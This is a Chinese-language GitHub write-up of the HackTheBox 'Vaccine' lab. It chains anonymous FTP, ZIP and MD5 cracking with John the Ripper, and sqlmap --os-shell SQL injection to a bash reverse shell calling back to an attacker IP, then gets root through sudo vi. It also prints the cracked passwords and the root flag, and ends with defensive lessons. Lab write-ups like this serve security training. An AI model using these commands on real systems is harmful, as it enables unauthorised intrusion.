mattiapertusati/htb-vaccine

GitHub: mattiapertusati/htb-vaccine

该项目整理了 HackTheBox 上 Vaccine 机器的完整渗透路径与攻防要点。

Stars: 0 | Forks: 0

HTB — Vaccine(简单/Linux) ![HTB](https://img.shields.io/badge/HackTheBox-Vaccine-9FEF00?style=flat&logo=hackthebox&logoColor=black) ![难度](https://img.shields.io/badge/Difficulty-Easy-brightgreen) ![操作系统](https://img.shields.io/badge/OS-Linux-blue) ![状态](https://img.shields.io/badge/Status-Pwned-red) ![技术](https://img.shields.io/badge/FTP-SQLi-orange) ![权限提升](https://img.shields.io/badge/sudo-Misconfiguration-purple) ## 摘要 Vaccine 是一台 Linux 机器,其主要攻击向量是 SQL Injection 漏洞。该机器存在 SQLi 漏洞,允许攻击者获取 OS shell 并最终获得 root 权限。在此过程中,发现了两个包含受哈希保护的重要凭据的 PHP 文件。John the Ripper 被用于破解这两个文件。 **攻击链:** FTP → ZIP → SQLi → Shell → Root ## 侦察 ### 端口扫描 ``` nmap -sV -sC -oN nmap_vaccine.txt 10.129.90.30 ``` **结果:** PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 80/tcp open http Apache httpd 2.4.41 ![Nmap 扫描](https://raw.githubusercontent.com/mattiapertusati/htb-vaccine/main/screenshots/01-nmap-scan.png) 三个端口处于开放状态。这三个端口都将在攻击过程中被使用,但起始点是端口 21 (FTP),因为 nmap 显示匿名登录已启用——这意味着无需密码即可访问。 ## 枚举 ### FTP — 匿名登录 ``` ftp 10.129.90.30 # 用户名: anonymous # 密码: (空) ``` 匿名登录已确认。在 FTP 服务器内部,存在一个名为 `backup.zip` 的文件。使用 `get` 命令将其下载。 ![FTP 登录](https://raw.githubusercontent.com/mattiapertusati/htb-vaccine/main/screenshots/02-ftp-anonymous-login.png) ## 凭据访问 — ZIP 密码 下载的压缩包受密码保护。为了破解它,使用了 John the Ripper。首先,`zip2john` 从 ZIP 中提取哈希并将其写入名为 `hash.txt` 的文件中。然后 John 使用 rockyou 字典进行破解。 ``` zip2john backup.zip > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt ``` 找到密码:**741852963** ![哈希破解](https://raw.githubusercontent.com/mattiapertusati/htb-vaccine/main/screenshots/03-zip2john-and-crack.png) ## 文件分析 使用破解出的密码解压压缩包,显示了两个文件: - `index.php` — 包含硬编码凭据 - `style.css` ``` unzip backup.zip ``` ![解压文件](https://static.pigsec.cn/wp-content/uploads/repos/cas/12/123c1ea16e3182de1b30ce2f378e81fc4a2b915673f19f27b0d8b654372bb69b.png) ## 凭据访问 — 硬编码凭据 分析 `index.php` 发现,用户名和密码都直接硬编码在源代码中。密码使用 MD5 哈希进行保护——这是一种过时且不安全的算法。 用户名:admin 密码哈希 (MD5):2cb42f8734ea607eefed3b70af13bbd3 ![Index PHP](https://static.pigsec.cn/wp-content/uploads/repos/cas/be/be839c6dc8d0822e4825fe3996fd81ce3e79d22452010fb8f400e0b45984f937.png) ## 凭据访问 — MD5 哈希 再次使用 John the Ripper 破解 MD5 哈希。该哈希被保存到一个名为 `md5hash.txt` 的新文件中,并通过指定 Raw-MD5 格式进行破解。 ``` echo "2cb42f8734ea607eefed3b70af13bbd3" > md5hash.txt john --format=Raw-MD5 \ --wordlist=/usr/share/wordlists/rockyou.txt md5hash.txt ``` 找到密码:**qwerty789** ![MD5 已破解](https://raw.githubusercontent.com/mattiapertusati/htb-vaccine/main/screenshots/06-md5-cracked.png) ## Web 应用程序访问 使用完整的凭据(`admin:qwerty789`),成功登录了在 nmap 扫描期间发现的 Web 应用程序。仪表板显示了一个带有搜索栏的 MegaCorp 汽车目录。 ![Web 仪表板](https://raw.githubusercontent.com/mattiapertusati/htb-vaccine/main/screenshots/07-web-login-dashboard.png) ## 漏洞分析 — SQL Injection 为了测试搜索栏是否存在 SQL Injection 漏洞,输入并提交了一个单引号 `'`。应用程序返回了原始的 PostgreSQL 错误,暴露了内部查询结构,从而确认了该漏洞。 ERROR: unterminated quoted string at or near Select * from cars where name ilike '%'%' ![SQLi 错误](https://static.pigsec.cn/wp-content/uploads/repos/cas/42/42e971573997e9ffd661d2441368b52b43af3a40fe3d1ca432f755e3e58a8dd0.png) ## 漏洞利用 — SQLMap 在确认 SQL Injection 后,使用 SQLMap 自动化进行攻击。提供了目标 URL 和 session cookie,并加上 `--os-shell` 尝试在底层操作系统上执行命令。 ``` sqlmap -r request.txt \ --dbms=PostgreSQL \ --level=5 \ --risk=3 \ --os-shell \ -p search ``` SQLMap 成功识别出多种注入技术,并利用 PostgreSQL 的 `COPY FROM PROGRAM` 特性实现了 OS 命令执行。 os-shell> ![SQLMap Shell](https://static.pigsec.cn/wp-content/uploads/repos/cas/8e/8ee49d840af05587372fcea22f4937dc0d10305a4fc269cf23b8ff540e998292.png) ## 后渗透 — Reverse Shell 从 os-shell 中,建立了一个 reverse shell 以获得更稳定和可靠的连接。在端口 4444 上设置了监听器并成功捕获了连接。 ``` # Kali 上的 Listener: nc -lvnp 4444 # os-shell 中的命令: bash -c 'bash -i >& /dev/tcp/10.10.16.170/4444 0>&1' ``` 使用以下命令稳定 shell: ``` python3 -c 'import pty;pty.spawn("/bin/bash")' ``` ![Reverse Shell](https://static.pigsec.cn/wp-content/uploads/repos/cas/d8/d888ee88ac853f2cfd03ed9fa34849948a5c1ede3c8999af4a1dda068fe4f823.png) ## 权限提升 — sudo 配置不当 运行 `sudo -l` 显示 `postgres` 用户可以无密码以 root 身份执行 `/bin/vi`。由于 vi 可以在编辑器内部执行系统命令,这是通向 root 的直接途径。 ``` sudo -l # (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf ``` ![Sudo 输出](https://static.pigsec.cn/wp-content/uploads/repos/cas/92/9228e0a02e64e016935797642eb6d3f11e118add346f514c7982c63665903d2b.png) ``` sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf # vi 内: :!/bin/bash ``` Vi 启动了一个继承 root 权限的 bash shell。 ## 后渗透 — Flags ``` whoami # root cat /root/root.txt # dd6e058e814260bc70e9bbdef2715849 ``` ![Root Flag](https://static.pigsec.cn/wp-content/uploads/repos/cas/14/14f18584b966db279a8c66601ca32c4c435c6afcf64330caaede06e7da620d81.png) ## 经验教训 ### 攻击视角 - FTP 匿名登录将内部文件暴露给任何未经身份验证的攻击者 - 源代码中的硬编码凭据是一个严重漏洞,无需任何漏洞利用即可被利用 - MD5 不提供真正的密码保护——使用字典几秒钟即可破解 - SQL Injection 可以通过 PostgreSQL COPY FROM PROGRAM 提升为完整的 OS 访问权限 - 具有 sudo 权限的文本编辑器允许通过 shell 转义进行简单的权限提升 ### 防御视角 - 禁用 FTP 匿名登录——使用带有基于密钥身份验证的 SFTP - 切勿在源代码中存储凭据——使用环境变量或密钥管理器 - 使用 bcrypt 或 argon2 进行密码哈希,切勿使用 MD5 或 SHA1 - 对所有数据库输入进行清理和参数化 - 定期审核 sudo 权限——任何编辑器都不应以 root 身份运行 ## 攻击链总结 NMAP — 发现 3 个端口 (21, 22, 80) ↓ FTP 匿名登录 — 下载 backup.zip ↓ zip2john + John — 破解 ZIP 密码:741852963 ↓ index.php — 找到 admin 凭据 + MD5 哈希 ↓ John Raw-MD5 — 破解密码:qwerty789 ↓ Web 登录 — 访问 dashboard.php ↓ 确认 SQL Injection — 单引号错误 ↓ SQLMap --os-shell — PostgreSQL COPY FROM PROGRAM ↓ Reverse Shell — postgres@vaccine ↓ sudo -l — /bin/vi 以 root 身份运行 ↓ vi :!/bin/bash — 启动 root shell ↓ ROOT ✅ ## 参考 - [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html) - [PostgreSQL COPY FROM PROGRAM](https://www.postgresql.org/docs/current/sql-copy.html) - [GTFOBins — vi](https://gtfobins.github.io/gtfobins/vi/) - [HackTheBox — Vaccine](https://app.hackthebox.com/machines/Vaccine)
标签:CISA项目, HackTheBox, Linux, Writeup, 协议分析, 安全靶机, 权限提升, 渗透测试, 漏洞利用